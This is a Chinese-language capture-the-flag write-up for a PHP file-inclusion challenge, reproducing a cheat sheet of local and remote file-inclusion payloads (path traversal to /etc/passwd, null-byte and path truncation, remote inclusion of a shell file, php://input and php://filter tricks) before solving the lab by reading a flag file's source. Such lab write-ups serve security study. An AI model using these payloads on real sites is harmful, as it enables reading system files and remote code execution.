百度杯 二月場web-include By Assassin [檔案包含漏洞]
阿新 • • 發佈:2019-02-05
開啟題目連結可以看到
這就是典型的檔案包含漏洞(當然題目中也是告訴你了,就是檔案包含漏洞),之前不是很瞭解檔案包含漏洞是什麼,在這裡實現了一下。
大概找了一下,有位大哥小小總結了一下技巧
1.基本的檔案包含漏洞:
code :
* 包含同路徑下的檔案:
?file=.htaccess
* 路徑遍歷:
?file=../../../../../../../../../var/lib/locate.db
(該檔案非常有趣因為它允許你搜索檔案系統)
* 包含注入PHP程式碼的檔案:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)
2.受限的本地檔案包含:
code :
* 空字元注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目錄(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
(僅限BSD, 需要magic_quotes_gpc=off,詳細資訊here)
*路徑截斷(Path Truncation):
?file =../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
(詳細資訊參見 here 和 here)
* 點號截斷:
?file=../../../../../../../../../etc/passwd……………. …
(僅限Windows, 更多細節參見 here)
3.基本的遠端檔案包含:
code :
* 包含遠端程式碼(Including Remote Code):
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
* 使用php輸入流(Using PHP stream php://input):
?file =php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
* 使用PHP過濾函式(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)
* 用於跨站指令碼攻擊(Using XSS):
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)
4.受限的遠端檔案包含漏洞
code :
* ?file=http://websec.wordpress.com/shell
* ?file=http://websec.wordpress.com/shell.txt?
* ?file=http://websec.wordpress.com/shell.txt%23
(需要 allow_url_fopen=On 和 allow_url_include=On)
5.靜態遠端檔案包含漏洞:
code :
* 中間人攻擊(Man In The Middle)
(lame indeed, but often forgotten)
雖然很多我也不是很懂,但是暫且放在這裡以待日後使用!下面繼續實驗!
用firefox下載一個hackbar,用常用的php://input輸入嘗試。原理是include字串可以直接在介面輸出的,當然需要支援allow_url_include=On,不過非常不巧的是這裡正好是開著的
然後我們先進行實驗
我們看到是可以實現的!但是現在我們不知道檔案有什麼,所以進行一下尋找。然後我們構造可以看到
應該就是dle345aae.php這個檔案了,但是我們直接輸入並沒有什麼效果
這是怎麼回事???猜測是讀取的時候加了waf,用filter功能就行了!構造
?path=php://filter/convert.base64-encode/resource=dle345aae.php
就會用base64的形勢輸出,然後解密就得到了答案!
(PS:本來想嘗試一下遠端的,但是發現遠端連結開啟選項是關閉的,沒辦法了)